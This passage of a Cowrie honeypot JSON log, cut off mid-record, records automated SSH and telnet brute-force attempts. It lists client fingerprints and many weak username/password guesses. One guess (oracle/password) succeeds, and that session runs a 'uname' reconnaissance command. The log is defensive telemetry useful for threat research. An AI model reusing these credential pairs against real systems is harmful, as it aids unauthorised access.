{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36486,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb49210af6a","protocol":"ssh","message":"New connection: 45.156.87.147:36486 (10.17.0.5:22) [session: 3cb49210af6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:33.186630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:33.361275Z","src_ip":"45.156.87.147","session":"3cb49210af6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:33.364509Z","src_ip":"45.156.87.147","session":"3cb49210af6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:33.704087Z","src_ip":"45.156.87.147","session":"3cb49210af6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":54290,"dst_ip":"10.17.0.5","dst_port":22,"session":"a082263cd474","protocol":"ssh","message":"New connection: 8.219.200.1:54290 (10.17.0.5:22) [session: a082263cd474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:34.270257Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:34.788741Z","src_ip":"45.156.87.147","session":"3cb49210af6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":50586,"dst_ip":"159.203.135.109","dst_port":23,"session":"dffda4d79b20","protocol":"telnet","message":"New connection: 102.37.220.188:50586 (159.203.135.109:23) [session: dffda4d79b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:36.094107Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36494,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4bc5df11bc1","protocol":"ssh","message":"New connection: 45.156.87.147:36494 (10.17.0.5:22) [session: f4bc5df11bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:38.730456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:38.735054Z","src_ip":"45.156.87.147","session":"f4bc5df11bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:38.820595Z","src_ip":"45.156.87.147","session":"f4bc5df11bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"dev","message":"login attempt [developer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:39.074631Z","src_ip":"45.156.87.147","session":"f4bc5df11bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:40.244533Z","src_ip":"45.156.87.147","session":"f4bc5df11bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:42.298806Z","src_ip":"8.219.200.1","session":"a082263cd474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34654,"dst_ip":"10.17.0.5","dst_port":22,"session":"567c42dbd1fc","protocol":"ssh","message":"New connection: 45.156.87.147:34654 (10.17.0.5:22) [session: 567c42dbd1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:44.229302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:44.234028Z","src_ip":"45.156.87.147","session":"567c42dbd1fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:44.317834Z","src_ip":"45.156.87.147","session":"567c42dbd1fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:44.705920Z","src_ip":"45.156.87.147","session":"567c42dbd1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:45.791380Z","src_ip":"45.156.87.147","session":"567c42dbd1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:45.957366Z","src_ip":"8.219.200.1","session":"bb285e0369ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":59524,"dst_ip":"10.17.0.5","dst_port":22,"session":"646bfad075f0","protocol":"ssh","message":"New connection: 8.219.200.1:59524 (10.17.0.5:22) [session: 646bfad075f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:47.968842Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45632,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbc04a49361","protocol":"ssh","message":"New connection: 45.156.87.147:45632 (10.17.0.5:22) [session: 2fbc04a49361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:49.982710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:49.988220Z","src_ip":"45.156.87.147","session":"2fbc04a49361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:50.074250Z","src_ip":"45.156.87.147","session":"2fbc04a49361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:50.325397Z","src_ip":"45.156.87.147","session":"2fbc04a49361","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:50.844455Z","src_ip":"8.219.200.1","session":"646bfad075f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:51.413054Z","src_ip":"45.156.87.147","session":"2fbc04a49361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:52.649855Z","src_ip":"8.219.200.1","session":"646bfad075f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:53.515387Z","src_ip":"8.219.200.1","session":"0c3c7975a85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"40.7","message":"Connection lost after 40.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:55.487931Z","src_ip":"8.219.200.1","session":"0c3c7975a85f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:55.497801Z","src_ip":"8.219.200.1","session":"646bfad075f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45634,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4828cce21fc","protocol":"ssh","message":"New connection: 45.156.87.147:45634 (10.17.0.5:22) [session: d4828cce21fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:55.503552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:55.510373Z","src_ip":"45.156.87.147","session":"d4828cce21fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:55.591678Z","src_ip":"45.156.87.147","session":"d4828cce21fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:55.835659Z","src_ip":"45.156.87.147","session":"d4828cce21fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:56.441880Z","src_ip":"8.219.200.1","session":"646bfad075f0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:56.444814Z","src_ip":"8.219.200.1","session":"646bfad075f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:56.921460Z","src_ip":"45.156.87.147","session":"d4828cce21fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:57.056991Z","src_ip":"8.219.200.1","session":"646bfad075f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:57.588230Z","src_ip":"8.219.200.1","session":"646bfad075f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":52034,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba3273d16cd","protocol":"ssh","message":"New connection: 43.166.242.149:52034 (159.203.135.109:22) [session: 1ba3273d16cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:00.281354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:00.285643Z","src_ip":"43.166.242.149","session":"1ba3273d16cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:00.295958Z","src_ip":"43.166.242.149","session":"1ba3273d16cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bursa","password":"bursa","message":"login attempt [bursa/bursa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:00.585804Z","src_ip":"43.166.242.149","session":"1ba3273d16cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60946,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4f2e32823a","protocol":"ssh","message":"New connection: 45.156.87.147:60946 (10.17.0.5:22) [session: 0f4f2e32823a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:01.090117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:01.096678Z","src_ip":"45.156.87.147","session":"0f4f2e32823a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.c